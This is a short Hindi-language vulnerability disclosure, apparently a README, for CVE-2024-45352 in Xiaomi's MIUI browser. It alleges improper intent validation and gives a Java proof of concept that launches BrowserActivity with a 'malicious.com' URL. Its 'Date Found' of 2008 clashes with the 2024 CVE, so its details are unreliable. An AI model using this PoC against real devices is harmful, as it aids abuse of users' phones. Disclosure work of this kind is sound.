xiaomi-cve-2024-45352

Xiaomi की गंभीर भेद्यता पर तकनीकी रिपोर्ट भेद्यता सारांश विभिन्न MIUI उपकरणों पर Xiaomi के डिफ़ॉल्ट ब्राउज़र (com.android.browser) में एक भेद्यता पाई गई। यह ऐप startActivity के माध्यम से पारित इंटेंट को ठीक से मान्य करने में विफल रहता है, जिससे दुर्भावनापूर्ण ऐप्स मनमाने URL खोल सकते हैं या अनपेक्षित कार्य कर सकते हैं।

• CVE ID: CVE-2024-45352
• Component
• :com.android.browser
• Severity: मध्यम
• Status: Xiaomi को रिपोर्ट किया गया (पुष्टि की प्रतीक्षा में)
• Date Found: [24 अप्रैल 2008]

🔥 प्रूफ ऑफ कॉन्सेप्ट (PoC)

1. निम्नलिखित इंटेंट के साथ एक सरल दुर्भावनापूर्ण ऐप बनाएं:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.browser", "com.android.browser.BrowserActivity"));
intent.setData(Uri.parse("http://malicious.com"));
startActivity(intent);